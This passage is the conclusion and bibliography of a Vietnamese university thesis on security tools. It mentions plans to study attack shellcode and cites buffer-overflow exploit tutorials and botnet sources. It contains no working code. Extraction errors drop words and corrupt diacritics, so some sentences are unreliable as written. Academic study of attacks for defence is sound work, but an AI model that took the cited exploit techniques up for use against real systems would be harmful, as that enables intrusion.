cơng Xây dựng thử nghiệm công cụ bảo mật sử dụng công tác đảm bảo an ninh hệ thống mạng Trong tƣơng lai chúng tơi tìm hiểu viết shellcode cơng nhƣ gửi thƣ, chép liệu, , chƣơng trình cơng máy tính từ xa đƣa giải pháp phịng cơng máy tính cách tinh vi đại theo xu thời đại khoa học kỹ thuật phát triển Do thời gian nghiên cứu chƣa nhiều, khả nhƣ kinh nghiệm thân cịn nên luận văn cịn nhiều thiếu sót Tác giả mong nhận đƣợc góp ý thầy giáo, anh chị, bạn bè, để tiếp tục hồn thiện luận văn mình, mang lại kiến thức cho thân Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 80 - TÀI LIỆU THAM KHẢO Tiếng Việt [1] Đặng Minh Tuấn, Giáo trình mã nguồn mở ứng dụng Quân sự, Giáo trình Trung tâm KHKT- CNQS, năm 2007 [2] Phạm Việt Trung , Chiến tranh công nghệ thông tin, Giáo trình Trung tâm KHKTCNQS, năm 2007 [3] Vũ Đình Cƣờng, Phƣơng Lan, Từng bước khám phá an ninh mạng - Tìm hiểu kiểu cơng phương pháp phòng chống, NXB Lao động -Xã hội 2008 [4] Vũ Đình Cƣờng, Phƣơng Lan, Từng bước khám phá an ninh mạng - Cách bảo vệ liệu quan trọng phương pháp phát thâm nhập , NXB Lao động-Xã hội 2008 [5] Vũ Đình Cƣờng, Phƣơng Lan, Hack internet OS bảo mật , NXB Lao động-Xã hội 2008 [6] Vũ Đình Cƣờng, Phƣơng Lan, Phương pháp thâm nhập Web Server & cách phòng chống, NXB Lao động-Xã hội 2008 [7] Vũ Đình Cƣờng, Phƣơng Lan, Cách bảo vệ liệu quan trọng & phương pháp phát thâm nhập, NXB Lao động-Xã hội 2008 [8].Vũ Đình Cƣờng, Phƣơng Lan, Các kiểu cơng & phương pháp phòng chống, NXB Lao động- Xã hội 2008 [9] Lê Tấn Liên, Minh Quân, Hacking Wireless kỹ thuật thâm nhập mạng không dây, NXB Hồng Đức 2009 [10] Nguyễn Ngọc Cƣơng, Giáo trình tin học ứng dụng công an, NXB Công an nhân dân 2009 [11] Nguyễn Ngọc Cƣơng, Tin học ứng dụng công tác phịng chốn tội phạm, NXB Cơng an nhân dân 2010 Tiếng Anh [12] Smashing The Stack For Fun and Profit by "Aleph One", 1996 [13] How to Write Buffer Overflows by "Mudge", 1997 [14] Buffer Overflows: Why, How and Prevention by "Decker", 2000 [15] Writing buffer overflow exploits - a tutorial for beginners – Mixter [16] Bots botnet overview – Ramneek Puri - 2003 [17] Jonathan Salwan, Shellcode-linux by 2009 Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn - 81 - Website [18] Một số thông tin Website http://tailieu.vn [19].http://www.quantrimang.com.vn/baomat/hacker/36773_Botnet-hoat-dong-nhu-thenao.aspx [20] http://rootbiez.blogspot.com/2009/11/virus-botnet.html [21].http://solidsnack1107.wordpress.com/2011/01/27/15-vu-tan-cong-noi-tieng-tronglic-su/ [22] www.php.net [23] http://www.autoitscript.com/ [24] http://vi.wikipedia.org/wiki/TCP/IP [25] http://vi.wikipedia.org/wiki/M%C3%B4_h%C3%ACnh_OSI [26] http://vi.wikipedia.org/wiki/IRC Số hóa Trung tâm Học liệu – Đại học Thái Nguyên http://www.lrc-tnu.edu.vn